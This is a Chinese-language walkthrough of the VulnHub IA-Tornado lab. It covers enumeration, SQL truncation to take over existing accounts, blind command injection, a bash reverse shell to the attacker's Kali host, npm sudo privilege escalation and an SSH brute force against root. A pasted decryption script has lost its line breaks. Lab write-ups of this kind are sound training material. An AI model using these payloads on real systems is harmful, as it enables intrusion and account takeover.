vulnhub靶场【IA系列】之Tornado
前言
靶机:IA-Tornado,IP地址为192.168.10.11
攻击:kali,IP地址为192.168.10.2
都采用虚拟机,网卡为桥接模式
本文所用靶场、
kali镜像以及相关工具,我放置在网盘中,可以复制后面链接查看https://pan.quark.cn/s/8585373be449
主机发现
因为是下载靶机到本地,所以是同一局域网,同一网段,同一网卡下,所以为求速度可以使用arp-scan -l或netdiscover -r 192.168.10.1/24
若想要模拟真实环境,可以使用nmap

信息收集
使用nmap扫描端口

网站信息探测
访问80端口默认界面,发现是apachee2的默认界面,查看页面源代码也未发现内容

尝试进行目录爆破
使用gobuster、dirsearch、dirb、dirbuster、ffuf等工具进行爆破
gobuster dir -u http://192.168.10.11 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,md -d -b 404,403

发现一个路径bluesky,其他路径无可用,访问这个路径,发现是一个前端页面,不知道这种有没有和后端交互

哇,这个界面真的很像现在大部分的网站,都是前后端分离的,不过这里的靶场不确定是否也是,所以对这个路径再进行一次扫描,可以看到还是有后端的语言php
gobuster dir -u http://192.168.10.11/bluesky -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,md

或者借助浏览器插件wappalyzer也是可以发现编程语言的,这里若是发现后,就可以再使用目录爆破了

访问上面扫描出的路径,通过上面也可以看到,可用的路径两个,一个login.php一个signup.php
访问login.php
漏洞寻找
尝试输入一些弱密码、万能密码等操作,无法登录成功

再访问signup.php,发现输入后,会直接提示注册成功信息

以注册的信息进行访问login.php,并输入注册的信息进行登录

在点击portfolio时,出现下面字符,说是LFI漏洞被修复了,但是不要忘记再测试
其实这里点击功能点后,都未发现其他的利用,不过这里是php,所以测试是否有隐藏传参支持本地文件包含等,也就是进行爆破

这里先查看每个功能点的页面源代码,在portfolio这里的页面源代码中,出现敏感目录信息

这里假设不知道这个路径,对每个php文件进行路径测试,可以使用ffuf或wfuzz
不过这里需要先获取正在登录状态的用户的cookie才行,可以直接使用浏览器查看登录的cookie
以火狐浏览器为例,打开开发者工具,可按f12进入

或者利用工具curl
curl -X POST -d "uname=admin&upass=admin&btn=Login" http://192.168.10.11/bluesky/login.php -c c.txt
#-X选择请求方式,这里可以在查看页面源代码处发现,表单提交是POST
#-d 是POST请求体中的数据,这里的数据形式,可以借助浏览器中开发者工具,其中的网络模块,可以发现请求形式
#-c 把cookie保存在当前目录的c.txt文档中
查看c.txt即可发现cookie的名称以及值

这里获取到cookie了,那么为什么确定cookie才可以呢,这里以ffuf为例,查看返回
ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.11/bluesky/port.php
#这是未设置爆破时的,并且未给予`cookie`

上面的返回与目录爆破时一样,都是要302跳转的。
再以添加cookie后的返回为对比
ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.11/bluesky/port.php -H "Cookie:PHPSESSID=kmpfqldt8iqc6ps0cfklotvglv"

可以看到,指定cookie后,就可以直接访问了,所以这也是以cookie做身份验证的
那么尝试使用ffuf进行测试,当然使用burp抓包爆破,就通过数据包直接爆破即可,因为请求数据包中含有登录的cookie信息
不过这里字典跑了很久,并未获取到任何传参等信息,并且登录后的几个php都测试了
ffuf -c -w /usr/share/wordlists/dirb/common.txt:FUZZ1 -w /usr/share/wordlists/wfuzz/Injections/Traversal.txt:FUZZ2 -u http://192.168.10.11/bluesky/port.php?FUZZ1=FUZZ2 -H "Cookie:PHPSESSID=kmpfqldt8iqc6ps0cfklotvglv" -fs 2205
ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.11/bluesky/port.php?FUZZ=/home/tornado/imp.txt -H "Cookie:PHPSESSID=kmpfqldt8iqc6ps0cfklotvglv" -fs 2205
啧,已知的信息大概就这么多,这里难道不是通过传参进行文件包含的吗
给出的路径/home/tornado/imp.txt
信息泄露
分析这个路径,一般/home是存放用户的家目录,而其目录下的一般都是用户,就假设这里的路径就是家目录。表示存在用户tornado。那么之前nmap扫描的时候,目标为linux,是否可以确定这个路径具有多种表现方式
/home/tornado/imp.txt
~/imp.txt #这里表示当前用户家目录下的imp.txt
~tornado/imp.txt #这里表示用户tornado家目录下的imp.txt
#一般 ~ 后加用户名,表示某用户的家目录
分析来看,一般网站的用户都是www-data,并且主目录不是在/home的,并且这里测试php文件有无传参,并未发现,说明确实修复了, 不过假设不通过传参呢,直接通过网址进行访问进行测试
当前的网址路径有两个,其余可以直接看到的,无意义
http://192.168.10.11
http://192.168.10.11/bluesky
把这两个url与上面三个路径进行组合
http://192.168.10.11/home/tornado/imp.txt
http://192.168.10.11/~/imp.txt
http://192.168.10.11/~tornado/imp.txt
http://192.168.10.11/bluesky/home/tornado/imp.txt
http://192.168.10.11/bluesky/~/imp.txt
http://192.168.10.11/bluesky/~tornado/imp.txt
然后使用ffuf测试哪些有返回

发现url中http://192.168.10.11/~tornado/imp.txt有返回,访问查看,发现全是邮箱地址

之前在进行登录的时候,用户名处就是邮箱,测试这些用户名是否存在
ceo@tornado
cto@tornado
manager@tornado
hr@tornado
lfi@tornado
admin@tornado
jacob@tornado
it@tornado
sales@tornado
在signup.php这里可以测试是否存在,不存在就会像之前一样,提示注册成功
使用burp抓取注册时的数据包,然后进行爆破

攻击成功后进行查看,因为这里使用的是burp社区版,所以不能直接进行搜索结果,不过可以在设置中配置匹配,这里用户已注册会返回User already registered,以这个进行匹配,就可以清晰的看清了

这里去网站看了一下,这个13是指长度,不过这里长度限制是在表单输入,和我通过抓包修改有什么关系,我已经不受表单控制了,😄
其实主要是观察这三个账户
admin@tornado
jacob@tornado
hr@tornado
不过前面既然注册了,使用burp再验证一下,奇怪的点出现了,前面manager注册成功的,这里确登录不了

分析为sql截断
前往浏览器进行手工测试,发现长度限制,那么前面注册的是什么,分析一下,在浏览器进行注册,也是有长度限制的,我是通过burp绕过这个前端的长度限制。
那么,通过burp注册的账户,到了数据库怎么处理的,或者说没到数据库的时候经过什么处理了。
直接输入长度限制的账号manager@torna,啧,登录成功了
好家伙,说明这里前端的长度限制和sql是一样的,或者说前端是可修改长度,sql是进行截断操作
这里长度限制为13,那么通过这种形式,测试sql在进行截断的时候,是否还进行数据库中用户的检验,若没有,就可以存在多个用户了,尤其是空格之类的。
admin@tornado a
jacob@tornado a
hr@tornado a

之后直接登录admin@tornado,以及注册的密码,发现直接登录成功,但是查看这个功能点,还是不行

再换一个注册jacob@tornado a,然后以jacob@tornado登录,好嘛,这里可以看到了

发现这里输入什么就会返回什么,这不就是很好的xss吗,但是这里要xss还有什么用吗,都已经登录了,尝试试试输入一些命令,看其能否执行
命令注入
经过测试,输入id、ls等,直接返回这些字符,不过,我这里测试一下ping的时候,发现问题。
我刚开始直接输入ping 127.0.0.1,因为是linux界面,所以一直在加载,那么,大概就清楚了。然后我把靶机重启了,然后重新验证,只发送5个包,ping -c 127.0.0.1,发现真的有变化,确定是可以执行命令,只是不把回显返回

尝试进行shell反弹,先在kali中使用nc开启监听9999端口,然后输入下面命令,并执行
/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.2/9999 0>&1'

提权
提权至catchme用户
使用find寻找具有SUID权限的文件,发现sudo,直接尝试,发现不需要密码,有一个用户catchme的文件可执行
find / -perm -4000 -print 2>/dev/null

对于不知道npm的sudo提权,可以查看网站gtfobins.github.io中的帮助

TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
chmod 777 tmp.Veh2PZ0bMR
sudo -u catchme npm -C $TF --unsafe-perm i

使用dpkg查看python版本,然后使用python获取交互式界面
dpkg -l | grep python
python3 -c 'import pty;pty.spawn("/bin/bash")'

提权至root用户
查看这个用户的家目录

把代码中已经加密的那一串尝试进行分析,因为执行过这个脚本,发现不知道输入什么字符加密了。
不过这里可以通过源代码给进行反写,不会写代码就直接丢给ai,这里可以提供代码
import string# 待解密的加密字符串
encrypted_text = "hcjqnnsotrrwnqc"for key in string.printable:if len(key) > 1:continues = "abcdefghijklmnopqrstuvwxyz"s = s.replace(key, '')s = key + sdecrypted_text = ""for n in encrypted_text:j = ord(n)if j == ord(key):j = ord('a')decrypted_text += chr(j)elif n > 'a' and n <= key:j = j + 1decrypted_text += chr(j)elif n > key:decrypted_text += nelif ord(n) == 32:decrypted_text += chr(32)elif j >= 48 and j <= 57:decrypted_text += chr(j)elif j >= 33 and j <= 47:decrypted_text += chr(j)elif j >= 58 and j <= 64:decrypted_text += chr(j)elif j >= 91 and j <= 96:decrypted_text += chr(j)elif j >= 123 and j <= 126:decrypted_text += chr(j)print(decrypted_text)
然后执行这个脚本,把结果重定向到一个文件中

其实数据不多,查看一下,就发现一个引人idkrootpassword
把结果进行一个ssh爆破,针对root,因为已知的两个用户都用过了

查看最终文件

总结
该靶机主要考察以下几点
- 对于网站路径,以及本地文件包含的注入点测试
- 对于
linux中~表示什么意思,以及~用户表示什么意思,以及/home是存放什么的 - 对于
sql截断注入的了解,要测试后,才能知道,这里就是观察到注册成功,但是无法成功登录的情况进行具体分析 - 对于输入框,输入什么返回什么,若是未登录状态,使用
xss可行,当然,实际情况中,若是真有,可以构造链接,发送给别人。这里是要获取shell,所以测试命令注入方面。虽然没有回显,但是在执行需要时间的命令时,明显发现是可执行命令的 - 对于
sudo提权的一些方法,这里是npm - 对于
python代码,或者能获取到关键信息也行,现在ai发展迅速,可以通过ai直接写出逆向解密的代码
相关文章:
vulnhub靶场【IA系列】之Tornado
前言 靶机:IA-Tornado,IP地址为192.168.10.11 攻击:kali,IP地址为192.168.10.2 都采用虚拟机,网卡为桥接模式 本文所用靶场、kali镜像以及相关工具,我放置在网盘中,可以复制后面链接查看 htt…...
简要认识JAVAWeb技术三剑客:HTMLCSSJavaScript
目录 一、web标准二、什么是HTML三、什么是CSS四、什么是JavaScript 黑马JAVAWeb飞书在线讲义地址: https://heuqqdmbyk.feishu.cn/wiki/LYVswfK4eigRIhkW0pvcqgH9nWd 一、web标准 Web标准也称网页标准,由一系列的标准组成,大部分由W3C&…...
C# 修改项目类型 应用程序程序改类库
初级代码游戏的专栏介绍与文章目录-CSDN博客 我的github:codetoys,所有代码都将会位于ctfc库中。已经放入库中我会指出在库中的位置。 这些代码大部分以Linux为目标但部分代码是纯C的,可以在任何平台上使用。 源码指引:github源…...
卡通风格渲染
1、卡通风格渲染是什么 卡通风格渲染(Cartoon Shading),也称为非真实感渲染(NPR)或卡通渲染(Toon Shading) 主要目的是使3D模型看起来更像手绘的二维卡通或漫画风格,而不是逼真写实…...
ubuntu各分区的用途
在 Ubuntu 中,分区是将硬盘划分为多个逻辑部分的过程,每个分区可以用于不同的用途。合理分区可以提高系统性能、数据安全性和管理效率。以下是 Ubuntu 中常见分区及其用途的详细说明: 1. 根分区 (/) 用途:存放操作系统核心文件、…...
理解STC15F2K60S2单片机的最小电路
一、STC15F2K60S2与51单片机的区别 STC15F2K60S2和51单片机虽然都基于8051内核,但在多个方面存在显著区别: 1. CPU性能: - STC15F2K60S2:采用增强型8051 CPU,1T单时钟/机器周期,速度比普通8051快8-12倍…...
Docker官网安装
1.官网 官方文档 https://www.docker.com/ Docker Hub官网 镜像 https://hub.docker.com/ 2.Docker 的三要素 1、镜像 2、容器 3、仓库 小总结 3.Docker 平台架构图 (架构版本) 4.安装Docker CentOS | Docker Docs 1.确定你是CentOS7及以上版本 …...
成功案例分享 — 芯科科技助力涂鸦智能打造Matter over Thread模块,简化Matter设备开发
芯科科技(Silicon Labs)的愿景之一是让开发者每天都能够更轻松地开发无线物联网(IoT)。特别是在拥有相同愿景的合作伙伴的帮助下,我们每天都在取得进步。但是要想弥合知识水平和物联网开发之间的差距仍会面临一定的挑战…...
基于Python机器学习、深度学习技术提升气象、海洋、水文领域实践应用-以ENSO预测为例讲解
1. 背景与目标 ENSO(El Nio-Southern Oscillation)是全球气候系统中最显著的年际变率现象之一,对全球气候、农业、渔业等有着深远的影响。准确预测ENSO事件的发生和发展对于减灾防灾具有重要意义。近年来,深度学习技术在气象领域…...
【Rust自学】12.6. 使用TDD(测试驱动开发)开发库功能
12.6.0. 写在正文之前 第12章要做一个实例的项目——一个命令行程序。这个程序是一个grep(Global Regular Expression Print),是一个全局正则搜索和输出的工具。它的功能是在指定的文件中搜索出指定的文字。 这个项目分为这么几步: 接收命令行参数读取…...
贪心算法汇总
1.贪心算法 贪心的本质是选择每一阶段的局部最优,从而达到全局最优。 如何能看出局部最优是否能推出整体最优 靠自己手动模拟,如果模拟可行,就可以试一试贪心策略,如果不可行,可能需要动态规划。 如何验证可不可以…...
H266/VVC 帧内预测中 ISP 技术
帧内子划分 ISP ISP 技术是在 JVET-2002-v3 提案中详细介绍其原理,在 VTM8 中完整展示算法。ISP是线基内预测(LIP)模式的更新版本,它改善了原始方法在编码增益和复杂度之间的权衡,ISP 算法的核心原理就是利用较近的像…...
PyTorch 中的 Dropout 解析
文章目录 一、Dropout 的核心作用数值示例:置零与缩放**训练阶段****推理阶段** 二、Dropout 的最佳使用位置与具体实例解析1. 放在全连接层后2. 卷积层后的使用考量3. BatchNorm 层与 Dropout 的关系4. Transformer 中的 Dropout 应用 三、如何确定 Dropout 的位置…...
集中式架构vs分布式架构
一、集中式架构 如何准确理解集中式架构 1. 集中式架构的定义 集中式架构是一种将系统的所有计算、存储、数据处理和控制逻辑集中在一个或少数几个节点上运行的架构模式。这些中央节点(服务器或主机)作为系统的核心,负责处理所有用户请求和…...
微服务主流框架和基础设施介绍
概述 微服务架构的落地需要解决服务治理问题,而服务治理依赖良好的底层方案。当前,微服务的底层方案总的来说可以分为两 种:微服务SDK (微服务框架)和服务网格。 微服务框架运行原理: 应用程序通过接入 SD…...
4.5.1 顺序查找、折半查找(二分查找)
文章目录 基本概念顺序查找折半查找(二分查找)索引顺序查找 基本概念 查找表:由同类元素构成的集合。 查找表按照是否可以修改数据表,可分为静态查找表、动态查找表。 静态查找表:不能修改数据表,可进行查询…...
DDD - 微服务设计与领域驱动设计实战(上)_统一建模语言及事件风暴会议
文章目录 Pre概述业务流程需求分析的困境统一语言建模事件风暴会议什么是事件风暴(Event Storming)事件风暴会议 总结 Pre DDD - 软件退化原因及案例分析 DDD - 如何运用 DDD 进行软件设计 DDD - 如何运用 DDD 进行数据库设计 DDD - 服务、实体与值对…...
基于Piquasso的光量子计算机的模拟与编程
一、引言 在科技飞速发展的当下,量子计算作为前沿领域,正以前所未有的态势蓬勃崛起。它凭借独特的量子力学原理,为解决诸多经典计算难以攻克的复杂问题提供了全新路径。从优化物流配送网络,以实现资源高效调配,到药物分子结构的精准模拟,加速新药研发进程;从金融风险的…...
44_Lua迭代器
在Lua中,迭代器是一种用于遍历集合元素的重要工具。掌握迭代器的使用方法,对于提高Lua编程的效率和代码的可读性具有重要意义。 1.迭代器概述 1.1 迭代器介绍 迭代器是一种设计模式,它提供了一种访问集合元素的方法,而不需要暴露其底层结构。在Lua中,迭代器通常以一个函…...
相机SD卡照片数据不小心全部删除了怎么办?有什么方法恢复吗?
前几天,小编在后台友收到网友反馈说他在整理相机里的SD卡,原本是想把那些记录着美好瞬间的照片导出来慢慢欣赏。结果手一抖,不小心点了“删除所有照片”,等他反应过来,屏幕上已经显示“删除成功”。那一刻,…...
vscode里如何用git
打开vs终端执行如下: 1 初始化 Git 仓库(如果尚未初始化) git init 2 添加文件到 Git 仓库 git add . 3 使用 git commit 命令来提交你的更改。确保在提交时加上一个有用的消息。 git commit -m "备注信息" 4 …...
基于uniapp+WebSocket实现聊天对话、消息监听、消息推送、聊天室等功能,多端兼容
基于 UniApp + WebSocket实现多端兼容的实时通讯系统,涵盖WebSocket连接建立、消息收发机制、多端兼容性配置、消息实时监听等功能,适配微信小程序、H5、Android、iOS等终端 目录 技术选型分析WebSocket协议优势UniApp跨平台特性WebSocket 基础实现连接管理消息收发连接…...
【RockeMQ】第2节|RocketMQ快速实战以及核⼼概念详解(二)
升级Dledger高可用集群 一、主从架构的不足与Dledger的定位 主从架构缺陷 数据备份依赖Slave节点,但无自动故障转移能力,Master宕机后需人工切换,期间消息可能无法读取。Slave仅存储数据,无法主动升级为Master响应请求ÿ…...
AI编程--插件对比分析:CodeRider、GitHub Copilot及其他
AI编程插件对比分析:CodeRider、GitHub Copilot及其他 随着人工智能技术的快速发展,AI编程插件已成为提升开发者生产力的重要工具。CodeRider和GitHub Copilot作为市场上的领先者,分别以其独特的特性和生态系统吸引了大量开发者。本文将从功…...
学习STC51单片机32(芯片为STC89C52RCRC)OLED显示屏2
每日一言 今天的每一份坚持,都是在为未来积攒底气。 案例:OLED显示一个A 这边观察到一个点,怎么雪花了就是都是乱七八糟的占满了屏幕。。 解释 : 如果代码里信号切换太快(比如 SDA 刚变,SCL 立刻变&#…...
基于matlab策略迭代和值迭代法的动态规划
经典的基于策略迭代和值迭代法的动态规划matlab代码,实现机器人的最优运输 Dynamic-Programming-master/Environment.pdf , 104724 Dynamic-Programming-master/README.md , 506 Dynamic-Programming-master/generalizedPolicyIteration.m , 1970 Dynamic-Programm…...
Python ROS2【机器人中间件框架】 简介
销量过万TEEIS德国护膝夏天用薄款 优惠券冠生园 百花蜂蜜428g 挤压瓶纯蜂蜜巨奇严选 鞋子除臭剂360ml 多芬身体磨砂膏280g健70%-75%酒精消毒棉片湿巾1418cm 80片/袋3袋大包清洁食品用消毒 优惠券AIMORNY52朵红玫瑰永生香皂花同城配送非鲜花七夕情人节生日礼物送女友 热卖妙洁棉…...
LangChain知识库管理后端接口:数据库操作详解—— 构建本地知识库系统的基础《二》
这段 Python 代码是一个完整的 知识库数据库操作模块,用于对本地知识库系统中的知识库进行增删改查(CRUD)操作。它基于 SQLAlchemy ORM 框架 和一个自定义的装饰器 with_session 实现数据库会话管理。 📘 一、整体功能概述 该模块…...
如何更改默认 Crontab 编辑器 ?
在 Linux 领域中,crontab 是您可能经常遇到的一个术语。这个实用程序在类 unix 操作系统上可用,用于调度在预定义时间和间隔自动执行的任务。这对管理员和高级用户非常有益,允许他们自动执行各种系统任务。 编辑 Crontab 文件通常使用文本编…...
LRU 缓存机制详解与实现(Java版) + 力扣解决
📌 LRU 缓存机制详解与实现(Java版) 一、📖 问题背景 在日常开发中,我们经常会使用 缓存(Cache) 来提升性能。但由于内存有限,缓存不可能无限增长,于是需要策略决定&am…...
